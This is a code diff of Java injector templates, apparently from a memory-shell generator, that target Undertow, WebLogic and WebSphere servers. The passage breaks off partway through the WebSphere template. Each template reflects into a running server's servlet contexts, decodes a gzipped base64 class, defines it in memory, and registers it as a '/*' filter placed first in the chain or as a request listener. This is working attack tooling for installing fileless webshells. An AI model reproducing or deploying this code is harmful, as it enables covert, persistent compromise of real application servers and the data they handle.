List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
for (int i = 0; i < threads.length; i++) {
|
||||
try {
|
||||
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
|
||||
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
|
||||
if (servletContext != null) contexts.add(servletContext);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
// 添加有效 io.undertow.servlet.core.ApplicationListeners.addListener
|
||||
// 添加无效 io.undertow.servlet.api.DeploymentInfo.addListener
|
||||
public void addListener(Object context, Object listener) {
|
||||
try {
|
||||
if (isInjected(context, listener.getClass().getName())) {
|
||||
return;
|
||||
}
|
||||
Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo");
|
||||
Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
|
||||
Object deploymentImpl = getFV(context, "deployment");
|
||||
Object applicationListeners = getFV(deploymentImpl, "applicationListeners");
|
||||
Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener");
|
||||
Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
|
||||
invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
|
||||
} catch (Throwable e) {
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
List allListeners = (List) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners");
|
||||
for (int i = 0; i < allListeners.size(); i++) {
|
||||
Class listener = (Class) getFV(getFV(allListeners.get(i), "listenerInfo"), "listenerClass");
|
||||
if (listener.getName().contains(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
synchronized void setFV(Object var0, String var1, Object val) throws Exception {
|
||||
getF(var0, var1).set(var0, val);
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,292 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class WebLogicFilterInjectorTpl {
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new WebLogicFilterInjectorTpl();
|
||||
}
|
||||
|
||||
|
||||
public WebLogicFilterInjectorTpl() {
|
||||
try {
|
||||
Object[] contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static Object[] getContextsByMbean() throws Throwable {
|
||||
HashSet webappContexts = new HashSet();
|
||||
Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
||||
Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
||||
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
||||
theOneMethod.setAccessible(true);
|
||||
Object serverRuntime = theOneMethod.invoke(null);
|
||||
|
||||
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
||||
getApplicationRuntimesMethod.setAccessible(true);
|
||||
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
||||
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
||||
for (int i = 0; i < applicationRuntimeSize; i++) {
|
||||
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
||||
|
||||
try {
|
||||
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
||||
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
||||
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
||||
for (int j = 0; j < componentRuntimeSize; j++) {
|
||||
Object context = getFV(Array.get(componentRuntimes, j), "context");
|
||||
if (webAppServletContextClass.isInstance(context)) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
|
||||
try {
|
||||
Set childrenSet = (Set) getFV(applicationRuntime, "children");
|
||||
Iterator iterator = childrenSet.iterator();
|
||||
|
||||
while (iterator.hasNext()) {
|
||||
Object componentRuntime = iterator.next();
|
||||
try {
|
||||
Object context = getFV(componentRuntime, "context");
|
||||
if (webAppServletContextClass.isInstance(context)) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
public static Object[] getContextsByThreads() throws Throwable {
|
||||
HashSet webappContexts = new HashSet();
|
||||
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
|
||||
int threadCount = threadGroup.activeCount();
|
||||
Thread[] threads = new Thread[threadCount];
|
||||
threadGroup.enumerate(threads);
|
||||
for (int i = 0; i < threadCount; i++) {
|
||||
Thread thread = threads[i];
|
||||
if (thread != null) {
|
||||
Object workEntry = getFV(thread, "workEntry");
|
||||
if (workEntry != null) {
|
||||
try {
|
||||
Object context = null;
|
||||
Object connectionHandler = getFV(workEntry, "connectionHandler");
|
||||
if (connectionHandler != null) {
|
||||
Object request = getFV(connectionHandler, "request");
|
||||
if (request != null) {
|
||||
context = getFV(request, "context");
|
||||
}
|
||||
}
|
||||
if (context == null) {
|
||||
context = getFV(workEntry, "context");
|
||||
}
|
||||
|
||||
if (context != null) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
public static Object[] getContext() {
|
||||
HashSet webappContexts = new HashSet();
|
||||
try {
|
||||
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
try {
|
||||
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
/**
|
||||
* https://github.com/BeichenDream/GodzillaMemoryShellProject
|
||||
*/
|
||||
public void addFilter(Object context, Object filter) throws Exception {
|
||||
String filterClassName = filter.getClass().getName();
|
||||
if (!isInjected(context, filterClassName)) {
|
||||
try {
|
||||
Object filterManager = invokeMethod(context, "getFilterManager");
|
||||
Object servletClassLoader = invokeMethod(context, "getServletClassLoader");
|
||||
Map cachedClasses = (Map) getFV(servletClassLoader, "cachedClasses");
|
||||
//或者直接反射在这个classloader定义类 就不用写缓存了 不过就要硬编码一个class了
|
||||
cachedClasses.put(filterClassName, filter.getClass());
|
||||
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{filterClassName, filterClassName, new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
|
||||
//将filter置为第一位
|
||||
List filterPatternList = (List) getFV(filterManager, "filterPatternList");
|
||||
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
|
||||
filterPatternList.add(0, currentMapping);
|
||||
} catch (Throwable e) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static boolean isInjected(Object context, String filterClassName) throws Exception {
|
||||
HashMap filters = (HashMap) getFV(getFV(context, "filterManager"), "filters");
|
||||
for (Object obj : filters.keySet()) {
|
||||
if (obj.toString().contains(filterClassName))
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
|
||||
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,274 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
public class WebLogicListenerInjectorTpl {
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new WebLogicListenerInjectorTpl();
|
||||
}
|
||||
|
||||
public WebLogicListenerInjectorTpl() {
|
||||
try {
|
||||
Object[] contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
registerListener(context, listener);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static Object[] getContextsByMbean() throws Throwable {
|
||||
HashSet webappContexts = new HashSet();
|
||||
Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
|
||||
Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
|
||||
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
|
||||
theOneMethod.setAccessible(true);
|
||||
Object serverRuntime = theOneMethod.invoke(null);
|
||||
|
||||
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
|
||||
getApplicationRuntimesMethod.setAccessible(true);
|
||||
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
|
||||
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
|
||||
for (int i = 0; i < applicationRuntimeSize; i++) {
|
||||
Object applicationRuntime = Array.get(applicationRuntimes, i);
|
||||
|
||||
try {
|
||||
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
|
||||
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
|
||||
int componentRuntimeSize = Array.getLength(componentRuntimes);
|
||||
for (int j = 0; j < componentRuntimeSize; j++) {
|
||||
Object context = getFV(Array.get(componentRuntimes, j), "context");
|
||||
if (webAppServletContextClass.isInstance(context)) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
|
||||
try {
|
||||
Set childrenSet = (Set) getFV(applicationRuntime, "children");
|
||||
Iterator iterator = childrenSet.iterator();
|
||||
|
||||
while (iterator.hasNext()) {
|
||||
Object componentRuntime = iterator.next();
|
||||
try {
|
||||
Object context = getFV(componentRuntime, "context");
|
||||
if (webAppServletContextClass.isInstance(context)) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
public static Object[] getContextsByThreads() throws Throwable {
|
||||
HashSet webappContexts = new HashSet();
|
||||
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
|
||||
int threadCount = threadGroup.activeCount();
|
||||
Thread[] threads = new Thread[threadCount];
|
||||
threadGroup.enumerate(threads);
|
||||
for (int i = 0; i < threadCount; i++) {
|
||||
Thread thread = threads[i];
|
||||
if (thread != null) {
|
||||
Object workEntry = getFV(thread, "workEntry");
|
||||
if (workEntry != null) {
|
||||
try {
|
||||
Object context = null;
|
||||
Object connectionHandler = getFV(workEntry, "connectionHandler");
|
||||
if (connectionHandler != null) {
|
||||
Object request = getFV(connectionHandler, "request");
|
||||
if (request != null) {
|
||||
context = getFV(request, "context");
|
||||
}
|
||||
}
|
||||
if (context == null) {
|
||||
context = getFV(workEntry, "context");
|
||||
}
|
||||
|
||||
if (context != null) {
|
||||
webappContexts.add(context);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
public static Object[] getContext() {
|
||||
HashSet webappContexts = new HashSet();
|
||||
try {
|
||||
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
try {
|
||||
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
|
||||
} catch (Throwable e) {
|
||||
|
||||
}
|
||||
return webappContexts.toArray();
|
||||
}
|
||||
|
||||
private Object getListener(Object context) {
|
||||
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable tt) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
public void registerListener(Object context, Object listener) throws Exception {
|
||||
String listenerClassName = listener.getClass().getName();
|
||||
if (!isInjected(context, listenerClassName)) {
|
||||
try {
|
||||
Object eventsManager = getFV(context, "eventsManager");
|
||||
invokeMethod(eventsManager, "registerEventListener", new Class[]{String.class}, new Object[]{listenerClassName});
|
||||
} catch (Exception e) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static boolean isInjected(Object context, String listenerClassName) throws Exception {
|
||||
ArrayList requestListeners = (ArrayList) getFV(getFV(context, "eventsManager"), "requestListeners");
|
||||
for (int i = 0; i < requestListeners.size(); i++) {
|
||||
if (requestListeners.get(i).getClass().getName().contains(listenerClassName)) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
|
||||
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,272 @@
|
||||
package jmg.core.template;
|
||||
|
||||
import javax.servlet.Filter;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
/**
|
||||
* tested v7、v8
|
||||
* update 2023/07/08
|
||||
*/
|
||||
public class WebSphereFilterInjectorTpl {
|
||||
public String getUrlPattern() {
|
||||
return "/*";
|
||||
}
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "";
|
||||
}
|
||||
|
||||
static {
|
||||
new WebSphereFilterInjectorTpl();
|
||||
}
|
||||
|
||||
|
||||
public WebSphereFilterInjectorTpl() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Object context;
|
||||
Object obj = getFV(Thread.currentThread(), "wsThreadLocals");
|
||||
Object[] wsThreadLocals = (Object[]) obj;
|
||||
for (Object wsThreadLocal : wsThreadLocals) {
|
||||
obj = wsThreadLocal;
|
||||
// for websphere 7.x
|
||||
if (obj != null && obj.getClass().getName().endsWith("FastStack")) {
|
||||
Object[] stackList = (Object[]) getFV(obj, "stack");
|
||||
for (Object stack : stackList) {
|
||||
try {
|
||||
Object config = getFV(stack, "config");
|
||||
context = getFV(getFV(config, "context"), "context");
|
||||
contexts.add(context);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
} else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||
context = getFV(getFV(getFV(getFV(getFV(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context");
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
|
||||
public void addFilter(Object context, Object filter) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
||||
String filterName = getFilterName(getClassName());
|
||||
try {
|
||||
if (!isAdded(context, filterName)) {
|
||||
Class filterMappingClass;
|
||||
Class iFilterConfigClass;
|
||||
Class iServletConfigClass;
|
||||
ClassLoader classLoader;
|
||||
try {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
|
||||
iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
|
||||
iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
|
||||
} catch (Exception e) {
|
||||
classLoader = Thread.currentThread().getContextClassLoader();
|
||||
filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
|
||||
iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
|
||||
iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
